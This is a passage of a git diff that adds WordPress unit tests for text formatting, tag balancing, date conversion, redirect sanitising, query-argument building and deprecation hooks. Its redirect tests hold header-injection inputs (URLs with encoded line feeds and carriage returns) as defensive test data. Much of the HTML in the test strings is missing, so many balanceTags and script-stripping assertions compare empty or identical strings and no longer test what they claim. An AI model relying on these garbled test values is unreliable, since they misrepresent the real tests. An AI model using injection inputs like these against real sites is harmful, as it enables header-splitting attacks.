    ')); + } + + /** + * @ticket 4539 + * @ticket 15241 + */ + function test_entity_quote_cuddling() { + $this->assertEquals(' “Testing”', wptexturize(' "Testing"')); + $this->assertEquals('&“Testing”', wptexturize('&"Testing"')); + } + + /** + * @ticket 22823 + */ + function test_apostrophes_before_primes() { + $this->assertEquals( 'WordPress 3.5’s release date', wptexturize( "WordPress 3.5's release date" ) ); + } + + /** + * @ticket 23185 + */ + function test_spaces_around_hyphens() { + $this->assertEquals( ' – ', wptexturize( ' - ' ) ); + $this->assertEquals( ' – ', wptexturize( ' - ' ) ); + $this->assertEquals( ' – ', wptexturize( ' - ' ) ); + $this->assertEquals( ' – ', wptexturize( ' - ') ); + + $this->assertEquals( ' — ', wptexturize( ' -- ' ) ); + $this->assertEquals( ' — ', wptexturize( ' -- ' ) ); + $this->assertEquals( ' — ', wptexturize( ' -- ' ) ); + $this->assertEquals( ' — ', wptexturize( ' -- ') ); + } +} diff --git a/tests/tests/formatting/WPTrimWords.php b/tests/tests/formatting/WPTrimWords.php new file mode 100644 index 0000000000..4658bcf7f7 --- /dev/null +++ b/tests/tests/formatting/WPTrimWords.php @@ -0,0 +1,45 @@ +assertEquals( $trimmed, wp_trim_words( $this->long_text ) ); + } + + function test_trims_to_10() { + $trimmed = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce varius…'; + $this->assertEquals( $trimmed, wp_trim_words( $this->long_text, 10 ) ); + } + + function test_trims_to_5_and_uses_custom_more() { + $trimmed = 'Lorem ipsum dolor sit amet,[...] Read on!'; + $this->assertEquals( $trimmed, wp_trim_words( $this->long_text, 5, '[...] Read on!' ) ); + } + + function test_strips_tags_before_trimming() { + $text = 'This text contains a link to WordPress.org!'; + $trimmed = 'This text contains a link…'; + $this->assertEquals( $trimmed, wp_trim_words( $text, 5 ) ); + } + + // #18726 + function test_strips_script_and_style_content() { + $trimmed = 'This text contains. It should go.'; + + $text = 'This text contains. It should go.'; + $this->assertEquals( $trimmed, wp_trim_words( $text ) ); + + $text = 'This text contains. It should go.'; + $this->assertEquals( $trimmed, wp_trim_words( $text ) ); + } + + function test_doesnt_trim_short_text() { + $text = 'This is some short text.'; + $this->assertEquals( $text, wp_trim_words( $text ) ); + } +} diff --git a/tests/tests/formatting/WpHtmlEditPre.php b/tests/tests/formatting/WpHtmlEditPre.php new file mode 100644 index 0000000000..82c7531f69 --- /dev/null +++ b/tests/tests/formatting/WpHtmlEditPre.php @@ -0,0 +1,36 @@ +assertEquals( $iso8859_1, wp_htmledit_pre( $iso8859_1 ) ); + remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) ); + } + + function _charset_utf_8() { + return 'UTF-8'; + } + + /* + * @ticket 23688 + */ + function test_wp_htmledit_pre_charset_utf_8() { + add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) ); + $utf8 = 'Fran' .chr(195) . chr(167) .'ais'; + $this->assertEquals( $utf8, wp_htmledit_pre( $utf8 ) ); + remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) ); + } +} diff --git a/tests/tests/formatting/WpRichEditPre.php b/tests/tests/formatting/WpRichEditPre.php new file mode 100644 index 0000000000..06963c65e4 --- /dev/null +++ b/tests/tests/formatting/WpRichEditPre.php @@ -0,0 +1,36 @@ +assertEquals( '<p>' . $iso8859_1 . "</p>\n", wp_richedit_pre( $iso8859_1 ) ); + remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) ); + } + + function _charset_utf_8() { + return 'UTF-8'; + } + + /* + * @ticket 23688 + */ + function test_wp_richedit_pre_charset_utf_8() { + add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) ); + $utf8 = 'Fran' .chr(195) . chr(167) .'ais'; + $this->assertEquals( '<p>' . $utf8 . "</p>\n", wp_richedit_pre( $utf8 ) ); + remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) ); + } +} diff --git a/tests/tests/formatting/Zeroise.php b/tests/tests/formatting/Zeroise.php new file mode 100644 index 0000000000..be075c5bf6 --- /dev/null +++ b/tests/tests/formatting/Zeroise.php @@ -0,0 +1,14 @@ +assertEquals("00005", zeroise(5, 5)); + } + + function test_does_nothing_if_input_is_already_longer() { + $this->assertEquals("5000000", zeroise(5000000, 2)); + } +} diff --git a/tests/tests/formatting/balanceTags.php b/tests/tests/formatting/balanceTags.php new file mode 100644 index 0000000000..de61b0bb6e --- /dev/null +++ b/tests/tests/formatting/balanceTags.php @@ -0,0 +1,234 @@ +assertEquals( "<$tag />", balanceTags( "<$tag>", true ) ); + } + + /** + * If a recognized valid single tag appears unclosed, it should get self-closed + * + * @ticket 1597 + * @dataProvider single_tags + */ + function test_selfcloses_unclosed_known_single_tags( $tag ) { + $this->assertEquals( "<$tag />", balanceTags( "<$tag>", true ) ); + } + + /** + * These are single tags WP has traditionally properly handled + * This test can be removed if #1597 is fixed and the next test passes, as + * it supercedes this test. + * + * @dataProvider basic_single_tags + */ + function test_selfcloses_basic_known_single_tags_having_closing_tag( $tag ) { + $this->assertEquals( "<$tag />", balanceTags( "<$tag>", true ) ); + } + + /** + * If a recognized valid single tag is given a closing tag, the closing tag + * should get removed and tag should be self-closed. + * + * @ticket 1597 + * @dataProvider single_tags + */ + function test_selfcloses_known_single_tags_having_closing_tag( $tag ) { + $this->assertEquals( "<$tag />", balanceTags( "<$tag>", true ) ); + } + + /** + * @ticket 1597 + */ + function test_closes_unknown_single_tags_with_closing_tag() { + + $inputs = array( + '', + '', + '

    ', + '

    ', + ); + $expected = array( + '', + '', + '

    ', + '

    ', + ); + + foreach ( $inputs as $key => $input ) { + $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) ); + } + } + + function test_closes_unclosed_single_tags_having_attributes() { + $inputs = array( + '', + '' + ); + $expected = array( + '', + '' + ); + + foreach ( $inputs as $key => $input ) { + $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) ); + } + } + + function test_allows_validly_closed_single_tags() { + $inputs = array( + '
    ', + '
    ', + '', + '' + ); + + foreach ( $inputs as $key => $input ) { + $this->assertEquals( $inputs[$key], balanceTags( $inputs[$key], true ) ); + } + } + + function test_balances_nestable_tags() { + $inputs = array( + 'TestTest', + '
    Test', + '
    Test
    ', + ); + $expected = array( + 'TestTest', + '
    Test
    ', + '
    Test
    ', + ); + + foreach ( $inputs as $key => $input ) { + $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) ); + } + } + + function test_allows_adjacent_nestable_tags() { + $inputs = array( + '
    Example quote
    ', + '
    This is allowed>
    ', + 'Example in spans', + '
    Main quote
    Example quote
    more text
    ', + 'Inline quote', + ); + + foreach ( $inputs as $key => $input ) { + $this->assertEquals( $inputs[$key], balanceTags( $inputs[$key], true ) ); + } + } + + /** + * @ticket 20401 + */ + function test_allows_immediately_nested_object_tags() { + + $object = ''; + $this->assertEquals( $object, balanceTags( $object, true ) ); + } + + function test_balances_nested_non_nestable_tags() { + $inputs = array( + 'This is bold', + 'Some text here This is bold', + ); + $expected = array( + 'This is bold', + 'Some text here This is bold', + ); + + foreach ( $inputs as $key => $input ) { + $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) ); + } + } + + function test_fixes_improper_closing_tag_sequence() { + $inputs = array( + '

    Here is a bold and emphasis

    ', + '
    • Aaa
    • Bbb
  3. ', + ); + $expected = array( + '

    Here is a bold and emphasis

    ', + '
    • Aaa
    • Bbb
    ', + ); + + foreach ($inputs as $key => $input) { + $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) ); + } + } + + function test_adds_missing_closing_tags() { + $inputs = array( + 'Test', + '

    Test', + '

    Test test test

    ', + '

    Test', + '

    Here is a Test

    ', + ); + $expected = array( + 'Test', + '

    Test

    ', + '

    Test test test

    ', + 'Test', + '

    Here is a Test

    ', + ); + + foreach ( $inputs as $key => $input ) { + $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) ); + } + } + + function test_removes_extraneous_closing_tags() { + $inputs = array( + 'Test', + '
    Test
    Test', + '

    Test test test

    ', + '

    Test', + ); + $expected = array( + 'Test', + '
    Test
    Test
    ', + '

    Test test test

    ', + 'Test', + ); + + foreach ( $inputs as $key => $input ) { + $this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) ); + } + } + +} diff --git a/tests/tests/formatting/date.php b/tests/tests/formatting/date.php new file mode 100644 index 0000000000..c2a3cc64a4 --- /dev/null +++ b/tests/tests/formatting/date.php @@ -0,0 +1,50 @@ +assertEquals( $local, get_date_from_gmt( $gmt ) ); + } + + /** + * Unpatched, this test passes only when Europe/London is observing DST. + * + * @ticket 20328 + */ + function test_get_date_from_gmt_during_dst() { + update_option( 'timezone_string', 'Europe/London' ); + $gmt = '2012-06-01 12:34:56'; + $local = '2012-06-01 13:34:56'; + $this->assertEquals( $local, get_date_from_gmt( $gmt ) ); + } + + /** + * @ticket 20328 + */ + function test_get_gmt_from_date_outside_of_dst() { + update_option( 'timezone_string', 'Europe/London' ); + $local = $gmt = '2012-01-01 12:34:56'; + $this->assertEquals( $gmt, get_gmt_from_date( $local ) ); + } + + /** + * @ticket 20328 + */ + function test_get_gmt_from_date_during_dst() { + update_option( 'timezone_string', 'Europe/London' ); + $local = '2012-06-01 12:34:56'; + $gmt = '2012-06-01 11:34:56'; + $this->assertEquals( $gmt, get_gmt_from_date( $local ) ); + } +} diff --git a/tests/tests/formatting/ent2ncr.php b/tests/tests/formatting/ent2ncr.php new file mode 100644 index 0000000000..c44e1afe76 --- /dev/null +++ b/tests/tests/formatting/ent2ncr.php @@ -0,0 +1,36 @@ +assertEquals( $ncr, ent2ncr( $entity ), $entity ); + } + + /** + Get test data from files, one test per line. + Comments start with "###". + */ + function entities() { + $entities = file( DIR_TESTDATA . '/formatting/entities.txt' ); + $data_provided = array(); + foreach ( $entities as $line ) { + // comment + $commentpos = strpos( $line, "###" ); + if ( false !== $commentpos ) { + $line = trim( substr( $line, 0, $commentpos ) ); + if ( ! $line ) + continue; + } + $data_provided[] = array_map( 'trim', explode( '|', $line ) ); + } + return $data_provided; + } +} + diff --git a/tests/tests/formatting/isoDescrambler.php b/tests/tests/formatting/isoDescrambler.php new file mode 100644 index 0000000000..425997809d --- /dev/null +++ b/tests/tests/formatting/isoDescrambler.php @@ -0,0 +1,14 @@ +assertEquals("this is some text", wp_iso_descrambler("=?iso-8859-1?q?this=20is=20some=20text?=")); + } +} diff --git a/tests/tests/formatting/redirect.php b/tests/tests/formatting/redirect.php new file mode 100644 index 0000000000..97c8ec240c --- /dev/null +++ b/tests/tests/formatting/redirect.php @@ -0,0 +1,17 @@ +assertEquals('http://example.com/watchthelinefeedgo', wp_sanitize_redirect('http://example.com/watchthelinefeed%0Ago')); + $this->assertEquals('http://example.com/watchthelinefeedgo', wp_sanitize_redirect('http://example.com/watchthelinefeed%0ago')); + $this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0Dgo')); + $this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0dgo')); + //Nesting checks + $this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0%0ddgo')); + $this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0%0DDgo')); + } +} diff --git a/tests/tests/formatting/wp_basename.php b/tests/tests/formatting/wp_basename.php new file mode 100644 index 0000000000..4200fb8656 --- /dev/null +++ b/tests/tests/formatting/wp_basename.php @@ -0,0 +1,34 @@ +assertEquals('file', + wp_basename('/home/test/file')); + } + + function test_wp_basename_unix_utf8_support() { + $this->assertEquals('žluÅ¥ouÄký kůň.txt', + wp_basename('/test/žluÅ¥ouÄký kůň.txt')); + } + + /** + * @ticket 22138 + */ + function test_wp_basename_windows() { + $this->assertEquals('file.txt', + wp_basename('C:\Documents and Settings\User\file.txt')); + } + + /** + * @ticket 22138 + */ + function test_wp_basename_windows_utf8_support() { + $this->assertEquals('щипцы.txt', + wp_basename('C:\test\щипцы.txt')); + } + +} diff --git a/tests/tests/functions.php b/tests/tests/functions.php new file mode 100644 index 0000000000..eee3054b96 --- /dev/null +++ b/tests/tests/functions.php @@ -0,0 +1,339 @@ +_baba = 5; + $x->yZ = "baba"; + $x->a = array(5, 111, 'x'); + $this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x)); + $y = new MockClass; + $this->assertEquals(array(), wp_parse_args($y)); + } + function test_wp_parse_args_array() { + // arrays + $a = array(); + $this->assertEquals(array(), wp_parse_args($a)); + $b = array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')); + $this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($b)); + } + function test_wp_parse_args_defaults() { + $x = new MockClass; + $x->_baba = 5; + $x->yZ = "baba"; + $x->a = array(5, 111, 'x'); + $d = array('pu' => 'bu'); + $this->assertEquals(array('pu' => 'bu', '_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x, $d)); + $e = array('_baba' => 6); + $this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x, $e)); + } + function test_wp_parse_args_other() { + $b = true; + wp_parse_str($b, $s); + $this->assertEquals($s, wp_parse_args($b)); + $q = 'x=5&_baba=dudu&'; + wp_parse_str($q, $ss); + $this->assertEquals($ss, wp_parse_args($q)); + } + function test_size_format() { + $kb = 1024; + $mb = $kb*1024; + $gb = $mb*1024; + $tb = $gb*1024; + // test if boundaries are correct + $this->assertEquals('1 GB', size_format($gb, 0)); + $this->assertEquals('1 MB', size_format($mb, 0)); + $this->assertEquals('1 kB', size_format($kb, 0)); + // now some values around + // add some bytes to make sure the result isn't 1.4999999 + $this->assertEquals('1.5 TB', size_format($tb + $tb/2 + $mb, 1)); + $this->assertEquals('1,023.999 GB', size_format($tb-$mb-$kb, 3)); + // edge + $this->assertFalse(size_format(-1)); + $this->assertFalse(size_format(0)); + $this->assertFalse(size_format('baba')); + $this->assertFalse(size_format(array())); + } + + function test_path_is_absolute() { + if ( !is_callable('path_is_absolute') ) + $this->markTestSkipped(); + + $absolute_paths = array( + '/', + '/foo/', + '/foo', + '/FOO/bar', + '/foo/bar/', + '/foo/../bar/', + '\\WINDOWS', + 'C:\\', + 'C:\\WINDOWS', + '\\\\sambashare\\foo', + ); + foreach ($absolute_paths as $path) + $this->assertTrue( path_is_absolute($path), "path_is_absolute('$path') should return true" ); + } + + function test_path_is_not_absolute() { + if ( !is_callable('path_is_absolute') ) + $this->markTestSkipped(); + + $relative_paths = array( + '', + '.', + '..', + '../foo', + '../', + '../foo.bar', + 'foo/bar', + 'foo', + 'FOO', + '..\\WINDOWS', + ); + foreach ($relative_paths as $path) + $this->assertFalse( path_is_absolute($path), "path_is_absolute('$path') should return false" ); + } + + function test_wp_unique_filename() { + + $testdir = DIR_TESTDATA . '/images/'; + + // sanity check + $this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcdefg.png' ), 'Sanitiy check failed' ); + + // check number is appended for file already exists + $this->assertFileExists( $testdir . 'test-image.png', 'Test image does not exist' ); + $this->assertEquals( 'test-image1.png', wp_unique_filename( $testdir, 'test-image.png' ), 'Number not appended correctly' ); + $this->assertFileNotExists( $testdir . 'test-image1.png' ); + + // check special chars + $this->assertEquals( 'testtést-imagé.png', wp_unique_filename( $testdir, 'testtést-imagé.png' ), 'Filename with special chars failed' ); + + // check special chars with potential conflicting name + $this->assertEquals( 'tést-imagé.png', wp_unique_filename( $testdir, 'tést-imagé.png' ), 'Filename with special chars failed' ); + + // check with single quotes in name (somehow) + $this->assertEquals( "abcdefgh.png", wp_unique_filename( $testdir, "abcdefg'h.png" ), 'File with quote failed' ); + + // check with single quotes in name (somehow) + $this->assertEquals( "abcdefgh.png", wp_unique_filename( $testdir, 'abcdefg"h.png' ), 'File with quote failed' ); + + // test crazy name (useful for regression tests) + $this->assertEquals( '12%af34567890@..%^_+qwerty-fghjkl-zx.png', wp_unique_filename( $testdir, '12%af34567890#~!@#$..%^&*()|_+qwerty fgh`jkl zx<>?:"{}[]="\'/?.png' ), 'Failed crazy file name' ); + + // test slashes in names + $this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\fg.png' ), 'Slash not removed' ); + $this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\fg.png' ), 'Double slashed not removed' ); + $this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\\fg.png' ), 'Tripple slashed not removed' ); + } + + /** + * @ticket 9930 + */ + function test_is_serialized() { + $cases = array( + serialize(null), + serialize(true), + serialize(false), + serialize(-25), + serialize(25), + serialize(1.1), + serialize(2.1E+200), + serialize('this string will be serialized'), + serialize("a\nb"), + serialize(array()), + serialize(array(1,1,2,3,5,8,13)), + serialize( (object)array('test' => true, '3', 4) ) + ); + foreach ( $cases as $case ) + $this->assertTrue( is_serialized($case), "Serialized data: $case" ); + + $not_serialized = array( + 'a string', + 'garbage:a:0:garbage;', + 'b:4;', + 's:4:test;' + ); + foreach ( $not_serialized as $case ) + $this->assertFalse( is_serialized($case), "Test data: $case" ); + } + + /** + * @group add_query_arg + */ + function test_add_query_arg() { + $old_req_uri = $_SERVER['REQUEST_URI']; + + $urls = array( + '/', + '/2012/07/30/', + 'edit.php', + admin_url( 'edit.php' ), + admin_url( 'edit.php', 'https' ), + ); + + $frag_urls = array( + '/#frag', + '/2012/07/30/#frag', + 'edit.php#frag', + admin_url( 'edit.php#frag' ), + admin_url( 'edit.php#frag', 'https' ), + ); + + foreach ( $urls as $url ) { + $_SERVER['REQUEST_URI'] = 'nothing'; + + $this->assertEquals( "$url?foo=1", add_query_arg( 'foo', '1', $url ) ); + $this->assertEquals( "$url?foo=1", add_query_arg( array( 'foo' => '1' ), $url ) ); + $this->assertEquals( "$url?foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $url ) ); + $this->assertEquals( "$url?foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $url ) ); + + $_SERVER['REQUEST_URI'] = $url; + + $this->assertEquals( "$url?foo=1", add_query_arg( 'foo', '1' ) ); + $this->assertEquals( "$url?foo=1", add_query_arg( array( 'foo' => '1' ) ) ); + $this->assertEquals( "$url?foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) ); + $this->assertEquals( "$url?foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) ); + } + + foreach ( $frag_urls as $frag_url ) { + $_SERVER['REQUEST_URI'] = 'nothing'; + $url = str_replace( '#frag', '', $frag_url ); + + $this->assertEquals( "$url?foo=1#frag", add_query_arg( 'foo', '1', $frag_url ) ); + $this->assertEquals( "$url?foo=1#frag", add_query_arg( array( 'foo' => '1' ), $frag_url ) ); + $this->assertEquals( "$url?foo=2#frag", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $frag_url ) ); + $this->assertEquals( "$url?foo=1&bar=2#frag", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $frag_url ) ); + + $_SERVER['REQUEST_URI'] = $frag_url; + + $this->assertEquals( "$url?foo=1#frag", add_query_arg( 'foo', '1' ) ); + $this->assertEquals( "$url?foo=1#frag", add_query_arg( array( 'foo' => '1' ) ) ); + $this->assertEquals( "$url?foo=2#frag", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) ); + $this->assertEquals( "$url?foo=1&bar=2#frag", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) ); + } + + $qs_urls = array( + 'baz=1', // #WP4903 + '/?baz', + '/2012/07/30/?baz', + 'edit.php?baz', + admin_url( 'edit.php?baz' ), + admin_url( 'edit.php?baz', 'https' ), + admin_url( 'edit.php?baz&za=1' ), + admin_url( 'edit.php?baz=1&za=1' ), + admin_url( 'edit.php?baz=0&za=0' ), + ); + + foreach ( $qs_urls as $url ) { + $_SERVER['REQUEST_URI'] = 'nothing'; + + $this->assertEquals( "$url&foo=1", add_query_arg( 'foo', '1', $url ) ); + $this->assertEquals( "$url&foo=1", add_query_arg( array( 'foo' => '1' ), $url ) ); + $this->assertEquals( "$url&foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $url ) ); + $this->assertEquals( "$url&foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $url ) ); + + $_SERVER['REQUEST_URI'] = $url; + + $this->assertEquals( "$url&foo=1", add_query_arg( 'foo', '1' ) ); + $this->assertEquals( "$url&foo=1", add_query_arg( array( 'foo' => '1' ) ) ); + $this->assertEquals( "$url&foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) ); + $this->assertEquals( "$url&foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) ); + } + + $_SERVER['REQUEST_URI'] = $old_req_uri; + } + + /** + * @ticket 21594 + */ + function test_get_allowed_mime_types() { + $mimes = get_allowed_mime_types(); + + $this->assertInternalType( 'array', $mimes ); + $this->assertNotEmpty( $mimes ); + + add_filter( 'upload_mimes', '__return_empty_array' ); + $mimes = get_allowed_mime_types(); + $this->assertInternalType( 'array', $mimes ); + $this->assertEmpty( $mimes ); + + remove_filter( 'upload_mimes', '__return_empty_array' ); + $mimes = get_allowed_mime_types(); + $this->assertInternalType( 'array', $mimes ); + $this->assertNotEmpty( $mimes ); + } + + /** + * @ticket 21594 + */ + function test_wp_get_mime_types() { + $mimes = wp_get_mime_types(); + + $this->assertInternalType( 'array', $mimes ); + $this->assertNotEmpty( $mimes ); + + add_filter( 'mime_types', '__return_empty_array' ); + $mimes = wp_get_mime_types(); + $this->assertInternalType( 'array', $mimes ); + $this->assertEmpty( $mimes ); + + remove_filter( 'mime_types', '__return_empty_array' ); + $mimes = wp_get_mime_types(); + $this->assertInternalType( 'array', $mimes ); + $this->assertNotEmpty( $mimes ); + + // upload_mimes shouldn't affect wp_get_mime_types() + add_filter( 'upload_mimes', '__return_empty_array' ); + $mimes = wp_get_mime_types(); + $this->assertInternalType( 'array', $mimes ); + $this->assertNotEmpty( $mimes ); + + remove_filter( 'upload_mimes', '__return_empty_array' ); + $mimes2 = wp_get_mime_types(); + $this->assertInternalType( 'array', $mimes2 ); + $this->assertNotEmpty( $mimes2 ); + $this->assertEquals( $mimes2, $mimes ); + } + + /** + * @ticket 23688 + */ + function test_canonical_charset() { + $orig_blog_charset = get_option( 'blog_charset' ); + + update_option( 'blog_charset', 'utf8' ); + $this->assertEquals( 'UTF-8', get_option( 'blog_charset') ); + + update_option( 'blog_charset', 'utf-8' ); + $this->assertEquals( 'UTF-8', get_option( 'blog_charset') ); + + update_option( 'blog_charset', 'UTF8' ); + $this->assertEquals( 'UTF-8', get_option( 'blog_charset') ); + + update_option( 'blog_charset', 'UTF-8' ); + $this->assertEquals( 'UTF-8', get_option( 'blog_charset') ); + + update_option( 'blog_charset', 'ISO-8859-1' ); + $this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') ); + + update_option( 'blog_charset', 'ISO8859-1' ); + $this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') ); + + update_option( 'blog_charset', 'iso8859-1' ); + $this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') ); + + update_option( 'blog_charset', 'iso-8859-1' ); + $this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') ); + + // Arbitrary strings are passed through. + update_option( 'blog_charset', 'foobarbaz' ); + $this->assertEquals( 'foobarbaz', get_option( 'blog_charset') ); + + update_option( 'blog_charset', $orig_blog_charset ); + } +} diff --git a/tests/tests/functions/deprecated.php b/tests/tests/functions/deprecated.php new file mode 100644 index 0000000000..0ffd194d8d --- /dev/null +++ b/tests/tests/functions/deprecated.php @@ -0,0 +1,177 @@ +_deprecated_functions = array(); + $this->_deprecated_arguments = array(); + $this->_deprecated_files = array(); + add_action( 'deprecated_function_run' , array( $this, 'deprecated_function' ), 10, 3 ); + add_action( 'deprecated_function_trigger_error', '__return_false' ); + add_action( 'deprecated_argument_run' , array( $this, 'deprecated_argument' ), 10, 3 ); + add_action( 'deprecated_argument_trigger_error', '__return_false' ); + add_action( 'deprecated_file_included' , array( $this, 'deprecated_file' ), 10, 4 ); + add_action( 'deprecated_file_trigger_error', '__return_false' ); + } + + /** + * Tear down the test fixture + * @return void + */ + public function teardown() { + remove_action( 'deprecated_function_run' , array( $this, 'deprecated_function' ), 10, 3 ); + remove_action( 'deprecated_function_trigger_error', '__return_false' ); + remove_action( 'deprecated_argument_run' , array( $this, 'deprecated_argument' ), 10, 3 ); + remove_action( 'deprecated_argument_trigger_error', '__return_false' ); + remove_action( 'deprecated_file_included' , array( $this, 'deprecated_argument' ), 10, 4 ); + remove_action( 'deprecated_file_trigger_error', '__return_false' ); + parent::tearDown(); + } + + /** + * Catch functions that have passed through _deprecated_function + * @param string $function + * @param string $replacement + * @param float $version + * @return void + */ + public function deprecated_function( $function, $replacement, $version ) { + $this->_deprecated_functions[] = array( + 'function' => $function, + 'replacement' => $replacement, + 'version' => $version + ); + } + + /** + * Catch arguments that have passed through _deprecated_argument + * @param string $argument + * @param string $message + * @param float $version + * @return void + */ + public function deprecated_argument( $argument, $message, $version ) { + $this->_deprecated_arguments[] = array( + 'argument' => $argument, + 'message' => $message, + 'version' => $version + ); + } + + /** + * Catch arguments that have passed through _deprecated_argument + * @param string $argument + * @param string $message + * @param float $version + * @return void + */ + public function deprecated_file( $file, $version, $replacement, $message ) { + $this->_deprecated_files[] = array( + 'file' => $file, + 'version' => $version, + 'replacement' => $replacement, + 'message' => $message + ); + } + + /** + * Check if something was deprecated + * @param string $type argument|function|file + * @param string $name + * @return array|false + */ + protected function was_deprecated( $type, $name ) { + switch ( $type ) { + case 'argument' : + $search = $this->_deprecated_arguments; + $key = 'argument'; + break; + case 'function' : + $search = $this->_deprecated_functions; + $key = 'function'; + break; + default : + $search = $this->_deprecated_files; + $key = 'file'; + } + foreach ( $search as $v ) { + if ( $name == $v[$key] ) { + return $v; + } + } + return false; + } + + /** + * Test that wp_save_image_file has a deprecated argument when passed a GD resource + * @ticket 6821 + */ + public function test_wp_save_image_file_deprecated_with_gd_resource() { + if ( !function_exists( 'imagejpeg' ) ) + $this->markTestSkipped( 'jpeg support unavailable' ); + + // Call wp_save_image_file + include_once( ABSPATH . 'wp-admin/includes/image-edit.php' ); + $file = wp_tempnam(); + $img = imagecreatefromjpeg( DIR_TESTDATA . '/images/canola.jpg' ); + wp_save_image_file( $file, $img, 'image/jpeg', 1 ); + imagedestroy( $img ); + @unlink($file); + + // Check if the arg was deprecated + $check = $this->was_deprecated( 'argument', 'wp_save_image_file' ); + $this->assertNotEmpty( $check ); + } + + /** + * Test that wp_save_image_file doesn't have a deprecated argument when passed a WP_Image_Editor + * @ticket 6821 + */ + public function test_wp_save_image_file_not_deprecated_with_wp_image_editor() { + if ( !function_exists( 'imagejpeg' ) ) + $this->markTestSkipped( 'jpeg support unavailable' ); + + // Call wp_save_image_file + include_once( ABSPATH . 'wp-admin/includes/image-edit.php' ); + $file = wp_tempnam(); + $img = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' ); + wp_save_image_file( $file, $img, 'image/jpeg', 1 ); + unset( $img ); + @unlink($file); + + // Check if the arg was deprecated + $check = $this->was_deprecated( 'argument', 'wp_save_image_file' ); + $this->assertFalse( $check ); + } +} diff --git a/tests/tests/functions/listFilter.php b/tests/tests/functions/listFilter.php new file mode 100644 index 0000000000..ac1847b5a9 --- /dev/null +++ b/tests/tests/functions/listFilter.php @@ -0,0 +1,113 @@ +array_list['foo'] = array( 'name' => 'foo', 'field1' => true, 'field2' => true, 'field3' => true, 'field4' => array( 'red' ) ); + $this->array_list['bar'] = array( 'name' => 'bar', 'field1' => true, 'field2' => true, 'field3' => false, 'field4' => array( 'green' ) ); + $this->array_list['baz'] = array( 'name' => 'baz', 'field1' => true, 'field2' => false, 'field3' => false, 'field4' => array( 'blue' ) ); + foreach ( $this->array_list as $key => $value ) { + $this->object_list[ $key ] = (object) $value; + } + } + + function test_filter_object_list_and() { + $list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'AND' ); + $this->assertEquals( 2, count( $list ) ); + $this->assertArrayHasKey( 'foo', $list ); + $this->assertArrayHasKey( 'bar', $list ); + } + + function test_filter_object_list_or() { + $list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'OR' ); + $this->assertEquals( 3, count( $list ) ); + $this->assertArrayHasKey( 'foo', $list ); + $this->assertArrayHasKey( 'bar', $list ); + $this->assertArrayHasKey( 'baz', $list ); + } + + function test_filter_object_list_not() { + $list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'NOT' ); + $this->assertEquals( 1, count( $list ) ); + $this->assertArrayHasKey( 'baz', $list ); + } + + function test_filter_object_list_and_field() { + $list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'AND', 'name' ); + $this->assertEquals( 2, count( $list ) ); + $this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar' ) , $list ); + } + + function test_filter_object_list_or_field() { + $list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'OR', 'name' ); + $this->assertEquals( 2, count( $list ) ); + $this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar' ) , $list ); + } + + function test_filter_object_list_not_field() { + $list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'NOT', 'name' ); + $this->assertEquals( 1, count( $list ) ); + $this->assertEquals( 